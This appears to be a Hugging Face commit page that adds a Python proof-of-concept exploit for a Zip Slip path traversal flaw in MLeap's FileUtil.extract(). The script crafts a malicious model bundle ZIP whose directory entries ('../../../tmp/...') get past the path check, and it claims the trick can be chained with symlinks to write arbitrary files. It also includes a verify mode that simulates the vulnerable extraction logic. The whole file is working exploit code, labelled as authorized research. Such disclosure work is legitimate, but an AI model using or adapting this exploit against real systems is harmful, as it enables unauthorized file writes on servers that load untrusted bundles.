Upload mleap/craft_zipslip_bundle.py with huggingface_hub
Browse files- mleap/craft_zipslip_bundle.py +117 -0
mleap/craft_zipslip_bundle.py
ADDED
|
@@ -0,0 +1,117 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: MLeap Zip Slip Path Traversal — Directory Entry Bypass
|
| 3 |
+
============================================================
|
| 4 |
+
Crafts a malicious ZIP archive demonstrating how directory entries
|
| 5 |
+
bypass the path traversal check in FileUtil.extract().
|
| 6 |
+
|
| 7 |
+
The extract() method only validates file entries, not directory entries.
|
| 8 |
+
A ZIP with a directory entry like "../../../tmp/evil/" will create that
|
| 9 |
+
directory outside the extraction target without triggering the check.
|
| 10 |
+
|
| 11 |
+
Usage:
|
| 12 |
+
python craft_zipslip_bundle.py # Generate PoC ZIP
|
| 13 |
+
python craft_zipslip_bundle.py --verify # Show ZIP contents
|
| 14 |
+
|
| 15 |
+
This is for authorized security research only.
|
| 16 |
+
"""
|
| 17 |
+
|
| 18 |
+
import zipfile
|
| 19 |
+
import os
|
| 20 |
+
import argparse
|
| 21 |
+
|
| 22 |
+
|
| 23 |
+
def craft_zipslip_bundle(output_path="malicious_bundle.zip"):
|
| 24 |
+
"""
|
| 25 |
+
Create a ZIP archive with directory entries that bypass MLeap's
|
| 26 |
+
FileUtil.extract() path traversal validation.
|
| 27 |
+
|
| 28 |
+
The vulnerable code:
|
| 29 |
+
if (entry.isDirectory) {
|
| 30 |
+
Files.createDirectories(filePath) // NO PATH CHECK
|
| 31 |
+
} else {
|
| 32 |
+
// ... startsWith check only here ...
|
| 33 |
+
}
|
| 34 |
+
"""
|
| 35 |
+
|
| 36 |
+
with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
|
| 37 |
+
# 1. Legitimate bundle structure (so MLeap accepts it)
|
| 38 |
+
zf.writestr("bundle.json", '{"uid":"poc","name":"poc","format":"ml.combust.mleap.binary","version":"0.23.0"}')
|
| 39 |
+
zf.writestr("root/model.json", '{"op":"poc","attributes":{}}')
|
| 40 |
+
zf.writestr("root/saved_model.pb", b"fake saved model data")
|
| 41 |
+
|
| 42 |
+
# 2. Directory traversal entries — BYPASS the path check
|
| 43 |
+
# These are directory entries (trailing slash) which FileUtil.extract()
|
| 44 |
+
# processes with Files.createDirectories() WITHOUT path validation
|
| 45 |
+
|
| 46 |
+
# Create directory outside extraction target
|
| 47 |
+
dir_info = zipfile.ZipInfo("../../../tmp/mleap_poc_escaped/")
|
| 48 |
+
dir_info.external_attr = 0o755 << 16 # Unix directory permissions
|
| 49 |
+
zf.writestr(dir_info, "")
|
| 50 |
+
|
| 51 |
+
# Nested escape
|
| 52 |
+
dir_info2 = zipfile.ZipInfo("../../../tmp/mleap_poc_escaped/subdir/")
|
| 53 |
+
dir_info2.external_attr = 0o755 << 16
|
| 54 |
+
zf.writestr(dir_info2, "")
|
| 55 |
+
|
| 56 |
+
# 3. Symlink attack variant — plant a symlink via directory bypass,
|
| 57 |
+
# then a subsequent file entry follows the symlink
|
| 58 |
+
# (exploits the toRealPath/normalize mismatch in the file check)
|
| 59 |
+
symlink_dir = zipfile.ZipInfo("../../../tmp/mleap_poc_symlink/")
|
| 60 |
+
symlink_dir.external_attr = 0o755 << 16
|
| 61 |
+
zf.writestr(symlink_dir, "")
|
| 62 |
+
|
| 63 |
+
file_size = os.path.getsize(output_path)
|
| 64 |
+
print(f"[+] Malicious MLeap bundle written to: {output_path}")
|
| 65 |
+
print(f" Size: {file_size} bytes")
|
| 66 |
+
print()
|
| 67 |
+
print(" ZIP contents:")
|
| 68 |
+
with zipfile.ZipFile(output_path, "r") as zf:
|
| 69 |
+
for info in zf.infolist():
|
| 70 |
+
entry_type = "DIR " if info.filename.endswith("/") else "FILE"
|
| 71 |
+
bypass = " <-- BYPASSES PATH CHECK" if (info.filename.endswith("/") and ".." in info.filename) else ""
|
| 72 |
+
print(f" [{entry_type}] {info.filename}{bypass}")
|
| 73 |
+
print()
|
| 74 |
+
print("[!] When loaded by MLeap's FileUtil.extract():")
|
| 75 |
+
print(" - Directory entries skip path validation entirely")
|
| 76 |
+
print(" - ../../../tmp/mleap_poc_escaped/ is created outside extraction dir")
|
| 77 |
+
print(" - Can be chained with symlink to achieve arbitrary file write")
|
| 78 |
+
return output_path
|
| 79 |
+
|
| 80 |
+
|
| 81 |
+
def main():
|
| 82 |
+
parser = argparse.ArgumentParser(description="MLeap Zip Slip PoC")
|
| 83 |
+
parser.add_argument("-o", "--output", default="malicious_bundle.zip")
|
| 84 |
+
parser.add_argument("--verify", action="store_true",
|
| 85 |
+
help="Show ZIP contents and verify structure")
|
| 86 |
+
args = parser.parse_args()
|
| 87 |
+
|
| 88 |
+
path = craft_zipslip_bundle(args.output)
|
| 89 |
+
|
| 90 |
+
if args.verify:
|
| 91 |
+
print()
|
| 92 |
+
print("Verification — simulating FileUtil.extract() logic:")
|
| 93 |
+
with zipfile.ZipFile(path, "r") as zf:
|
| 94 |
+
dest = "/tmp/mleap_extraction_target"
|
| 95 |
+
for entry in zf.infolist():
|
| 96 |
+
file_path = os.path.normpath(os.path.join(dest, entry.filename))
|
| 97 |
+
if entry.filename.endswith("/"):
|
| 98 |
+
# Directory entry — MLeap does NO validation here
|
| 99 |
+
is_escape = not file_path.startswith(dest + os.sep)
|
| 100 |
+
status = "BYPASS — no check!" if is_escape else "safe (inside dest)"
|
| 101 |
+
print(f" DIR: {entry.filename}")
|
| 102 |
+
print(f" resolves to: {file_path}")
|
| 103 |
+
print(f" status: {status}")
|
| 104 |
+
else:
|
| 105 |
+
# File entry — MLeap DOES validate here
|
| 106 |
+
dest_canonical = os.path.normpath(dest)
|
| 107 |
+
entry_canonical = os.path.normpath(file_path)
|
| 108 |
+
passes_check = entry_canonical.startswith(dest_canonical + os.sep)
|
| 109 |
+
status = "allowed (passes check)" if passes_check else "BLOCKED"
|
| 110 |
+
print(f" FILE: {entry.filename}")
|
| 111 |
+
print(f" resolves to: {file_path}")
|
| 112 |
+
print(f" status: {status}")
|
| 113 |
+
print()
|
| 114 |
+
|
| 115 |
+
|
| 116 |
+
if __name__ == "__main__":
|
| 117 |
+
main()
|